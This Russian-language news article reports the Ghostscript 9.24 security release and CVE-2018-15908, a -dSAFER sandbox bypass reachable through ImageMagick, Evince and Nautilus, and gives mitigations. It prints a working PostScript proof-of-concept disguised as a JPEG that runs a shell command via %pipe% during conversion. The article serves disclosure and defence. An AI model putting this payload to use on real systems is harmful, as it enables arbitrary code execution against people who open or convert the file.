Выпуск Ghostscript 9.24 с исправлением уязвимостей, эксплуатируемых через ImageMagick, Evince и Nautilus

Компания Artifex Software выпустила релиз набора инструментов для обработки, преобразования и генерации документов в форматах PostScript и PDF — Ghostscript 9.24. Ghostscript позволяет обрабатывать как язык Postscript, так и документы PDF, переводить их в растровые форматы для показа на экране или для вывода на печать на принтерах без поддержки Postscript. Код проекта распространяется под лицензией AGPLv3, а содержимое каталога CMap по специальной лицензии Adobe.

В новой версии проведена работа по усилению безопасности и устранена большая порция разноплановых уязвимостей. Наиболее опасной из решённых проблем является возможность (CVE-2018-15908) обхода ограничений sandbox-изоляции, применяемой при запуске в режиме «-dSAFER«. Указанная узявимость позволяет организовать выполнение в системе произвольного кода при обработке в Ghostscript специально оформленных документов (уже доступен универсальный эксплоит, который работает в Linux и Windows со всеми фронтэндами Ghostscript).

Проблема проявляется в том числе в продуктах, использующих обработчики Ghostscript, таких как ImageMagick, GraphicsMagick, Evince, GIMP, Mediawiki, Okular и Nautilus. Так как Ghostscript также применяется при построении миниатюр для рабочего стола и индексации данных, то для успешной атаки во многих случаях достаточно просто загрузить файл с эксплоитом или просмотреть каталог с ним в Nautilus. Для защиты от автоматического построения миниатюр рекомендуется временно отключить (переименовать) «/usr/bin/evince-thumbnailer».

Уязвимость также может быть эксплуатирована при преобразовании или проверке изображений при помощи обработчиков, вызывающих ImageMagick или GraphicsMagick. При этом проблемный PS, EPS, PDF и XPS может быть представлен в виде JPEG или PNG-файла, но ImageMagick и GraphicsMagick обработают такой файл в соответствии с распознанным по содержимому MIME-типом, а не полагаясь на расширение. Например, для запуска утилиты «id» достаточно создать следующий файл (shellexec.jpeg):

 
   %!PS
   userdict /setpagedevice undef
   legal
   { null restore } stopped { pop } if
   legal
   mark /OutputFile (%pipe%id) currentdevice putdeviceprops

При преобразовании его в другой формат, будет выполнен произвольный код:

 
   convert shellexec.jpeg whatever.gif

   uid=1000(taviso) gid=1000(taviso) groups=1000(taviso),10(wheel) 

В качестве обходного пути защиты в /etc/ImageMagick/policy.xml в секции policymap можно запретить обработку PS, EPS, PDF и XPS:

    ‹policy domain="coder" rights="none" pattern="PS" /›
    ‹policy domain="coder" rights="none" pattern="PS2" /›
    ‹policy domain="coder" rights="none" pattern="PS3" /›
    ‹policy domain="coder" rights="none" pattern="EPS" /›
    ‹policy domain="coder" rights="none" pattern="PDF" /›
    ‹policy domain="coder" rights="none" pattern="XPS" /›

В Ghostscript 9.24 также устранено несколько других критичных уязвимостей:

  • CVE-2018-15911 — возможность использования неинициализированной памяти при манипуляции с оператором aesdecode в PostScript-файлах, которая потенциально может привести к выполнению кода атакующего;
  • CVE-2018-15910 — возможность выполнения кода при обработке файлов PostScript со специально подобранными парамерами LockDistillerParams;
  • CVE-2018-15909 — проблема при обработке типов в операторе .shfill, которая может применяться для выхода за границы буфера при обработке специально оформленных файлов PostScript. Потенциально не исключается использование уязвимости для выполнения кода атакующего.

Добавить комментарий

Ваш адрес email не будет опубликован. Обязательные поля помечены *

Этот сайт использует Akismet для борьбы со спамом. Узнайте, как обрабатываются ваши данные комментариев.